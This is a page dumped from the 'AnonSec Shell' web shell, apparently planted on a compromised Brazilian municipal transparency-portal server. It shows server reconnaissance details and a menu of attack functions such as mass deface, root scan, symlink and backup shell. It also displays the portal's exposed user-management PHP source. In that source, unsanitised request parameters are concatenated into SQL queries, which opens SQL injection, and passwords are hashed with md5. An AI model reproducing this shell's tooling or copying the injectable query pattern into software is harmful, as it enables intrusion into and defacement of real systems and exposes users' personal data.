AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 20.75.53.88 / Your IP : 216.73.217.165 [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/www/html/esic/cmbeberibe/restrito/sis_usuario/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/html/esic/cmbeberibe/restrito/sis_usuario/manutencao.php

<?php


    include_once("../inc/autenticar.php");

    // Verifica se o grupo foi selecionado
    function estaSelecionado($pGrupo)
    {
        global $gruposselecionados;

        foreach ($gruposselecionados as $grupo) {
            if ($grupo==$pGrupo)
                return true;
        }

        return false;
    }

    // Verifica se o SIC foi selecionado
    function estaSelecionadoSIC($pSic)
    {
        global $sicselecionados;

        foreach ($sicselecionados as $sic) {
            if ($sic==$pSic)
                return true;
        }

        return false;
    }

    // Fun��o de valida��o dos dados do formul�rio do cadastro de está ----------
    function validaDados()
    {
        global $erro;
        global $acao;
        global $idusuario;
        global $nome;
        global $login;
        global $status;
        global $idsecretaria;
        global $chave;
        global $matricula;
        global $cpfusuario;
        global $gruposselecionados;


        if (empty($nome)) {
            $erro = "Nome não informado.";
            return false;
        } elseif (empty($login)) {
            $erro = "Login não informado.";
            return false;
        } elseif (empty($status)) {
            $erro = "Status não informado";
            return false;
        } elseif (empty($idsecretaria)) {
            $erro = "SIC não informado";
            return false;
        } elseif (empty($cpfusuario) || !isCpf($cpfusuario)) {
            $erro = "CPF inválido.";
            return false;
        }
        if (empty($gruposselecionados)) {
            $erro = "Perfil(is) não informado(s)";
            return false;
        }
        if (empty($idusuario) and empty($chave)) {
            $erro = "Senha de acesso precisa ser informada.";
            return false;
        }


        //verifica se ja existe registro cadastrado com a informa�ao passada ---

        if ($acao=="Incluir")
            $sql = "select * from sis_usuario where cpfusuario = '$cpfusuario'";
        else
            $sql = "select * from sis_usuario where cpfusuario = '$cpfusuario' and idusuario <> $idusuario";

        if (mysql_num_rows(execQuery($sql)) > 0) {
            //$erro = "J� existe usuario cadastrado com o login informado";
            $erro = "J� existe usuario cadastrado com o CPF informados";
            return false;
        }

        if ($acao=="Incluir")
            $sql = "select * from sis_usuario where login = '$login'";
        else
            $sql = "select * from sis_usuario where login = '$login' and idusuario <> $idusuario";

        if (mysql_num_rows(execQuery($sql)) > 0) {
            $erro = "J� existe usuario cadastrado com o login informado";
            return false;
        }

        if ($acao=="Incluir")
            $sql = "select * from sis_usuario where matricula = '$matricula'";
        else
            $sql = "select * from sis_usuario where matricula = '$matricula' and idusuario <> $idusuario";

        if (mysql_num_rows(execQuery($sql)) > 0) {
            $erro = "J� existe usuario cadastrado com a matricula informada";
            return false;
        }

        //-----------------------------------------------------------------------

        return true;
    }

    //------------------------------------------------------------------------------------------

    $codigo = $_GET["codigo"];
    $acao   = "Incluir";

    //se for passado codigo para edição e nao tiver sido postado informação do formulario busca dados do banco
    if (!$_POST['Alterar'] and !empty($codigo)) {
        $acao = "Alterar";

        $sql = "select * from sis_usuario where idusuario = $codigo";

        $resultado = execQuery($sql);
        $registro  = mysql_fetch_array($resultado);

        $idusuario    = $registro['idusuario'];
        $nome         = $registro['nome'];
        $login        = $registro['login'];
        $status       = $registro['status'];
        $idsecretaria = $registro['idsecretaria'];
        $matricula    = $registro['matricula'];
        $cpfusuario   = $registro['cpfusuario'];

        $sql
            = "select nome from sis_grupousuario gu, sis_grupo g
                        where gu.idgrupo = g.idgrupo 
                              and gu.idusuario = $codigo";

        $i         = 0;
        $resultado = execQuery($sql);
        while ($registro = mysql_fetch_array($resultado)) {
            $gruposselecionados[$i] = $registro['nome'];
            $i++;
        }


        $sql = "select idsecretaria from sis_usuariosecretaria where idusuario = $idusuario";

        $i         = 0;
        $resultado = execQuery($sql);
        while ($registro = mysql_fetch_array($resultado)) {
            $sicselecionados[$i] = $registro['idsecretaria'];
            $i++;
        }

    } else {
        //recupera valores do formulario

        $idusuario          = $_POST['idusuario'];
        $nome               = $_POST['nome'];
        $login              = $_POST['login'];
        $status             = $_POST['status'];
        $idsecretaria       = $_POST['idsecretaria'];
        $matricula          = $_POST['matricula'];
        $cpfusuario         = $_POST['cpfusuario'];
        $gruposselecionados = $_POST['gruposselecionados'];
        $sicselecionados    = $_POST['sicselecionados'];
        $chave              = $_POST['chave'];
    }

    $erro = "";

    //se for uma inclusao
    if ($_POST['Incluir']) {
        checkPerm("ADDUSR");

        if (validaDados()) {
            $con          = db_open_trans();
            $all_query_ok = true;

            $sql
                = "insert into sis_usuario(nome, login, cpfusuario, matricula, status, idsecretaria, idusuarioinclusao, datainclusao, chave)
				  values
				  ('$nome','$login','$cpfusuario','$matricula','$status','$idsecretaria', " . getSession('uid') . ", NOW(), md5('$chave'))";

            $con->query($sql) ? null : $all_query_ok = false;

            if ($all_query_ok) {
                //insere usuario no grupo
                $idusuario = $con->insert_id;

                foreach ($gruposselecionados as $grupo) {
                    $sql     = "select idgrupo from sis_grupo where nome = '$grupo'";
                    $rs      = execQuery($sql);
                    $row     = mysql_fetch_array($rs);
                    $idgrupo = $row['idgrupo'];

                    $sql
                        = "insert into sis_grupousuario (idgrupo, idusuario)
                                            values ('$idgrupo', $idusuario)";

                    if (!$con->query($sql)) {
                        $all_query_ok = false;
                        $erro         = "Ocorreu um erro ao inserir usuario no perfil.";
                        //echo $sql;
                        break;
                    }

                }

                //insere usuario no sic
                foreach ($sicselecionados as $sic) {
                    $sql
                        = "insert into sis_usuariosecretaria (idsecretaria, idusuario)
                                            values ($sic, $idusuario)";

                    if (!$con->query($sql)) {
                        $all_query_ok = false;
                        $erro         = "Ocorreu um erro ao associar SIC do usuario.";
                        //echo $sql;
                        break;
                    }

                }


            } else {
                $erro = "Ocorreu um erro ao incluir usuario.";

            }

            if (!$all_query_ok) {
                $con->rollback();
            } else {
                $con->commit();

                logger("Adicionou Usuario");
                header("Location: index.php");
            }

            $con->close();

        }
    } //se for uma altera��o
    elseif ($_POST['Alterar']) {
        $acao = "Alterar";
        checkPerm("UPTUSR");

        if (validaDados()) {
            $sql
                = "UPDATE sis_usuario set
					nome='$nome', 
					login='$login',
					matricula='$matricula',
					cpfusuario='$cpfusuario',
					status='$status', 
					idsecretaria='$idsecretaria',
					idusuarioalteracao = " . getSession('uid') . "
                                        " . (!empty($chave) ? ",chave = md5('$chave')" : "") . "
					WHERE idusuario ='$idusuario' ";

            $con          = db_open_trans();
            $all_query_ok = true;

            $con->query($sql) ? null : $all_query_ok = false;

            if ($all_query_ok) {
                //exclui grupos do usuario para posterior inclusao
                $sql = "delete from sis_grupousuario where idusuario=$idusuario";

                $con->query($sql) ? null : $all_query_ok = false;

                //insere email no alias
                foreach ($gruposselecionados as $grupo) {
                    $sql     = "select idgrupo from sis_grupo where nome = '$grupo'";
                    $rs      = execQuery($sql);
                    $row     = mysql_fetch_array($rs);
                    $idgrupo = $row['idgrupo'];

                    $sql
                        = "insert into sis_grupousuario (idgrupo, idusuario)
                                            values ('$idgrupo', $idusuario)";

                    if (!$con->query($sql)) {
                        $all_query_ok = false;
                        $erro         = "Ocorreu um erro ao inserir usuario no perfil.";
                        break;
                    }

                }

                //exclui sics do usuario para posterior inclusao
                $sql = "delete from sis_usuariosecretaria where idusuario=$idusuario";

                $con->query($sql) ? null : $all_query_ok = false;

                //insere usuario no sic
                foreach ($sicselecionados as $sic) {
                    $sql
                        = "insert into sis_usuariosecretaria (idsecretaria, idusuario)
                                            values ($sic, $idusuario)";

                    if (!$con->query($sql)) {
                        $all_query_ok = false;
                        $erro         = "Ocorreu um erro ao associar SIC do usuario.";
                        //echo $sql;
                        break;
                    }

                }


            } else {
                $erro = "Ocorreu um erro ao alterar usuario.";
                //echo $sql;
            }

            if (!$all_query_ok) {
                $con->rollback();
            } else {
                $con->commit();

                logger("Alterou Usuario");
                header("Location: index.php");
            }

            $con->close();
        }
    }
?>

Anon7 - 2022
AnonSec Team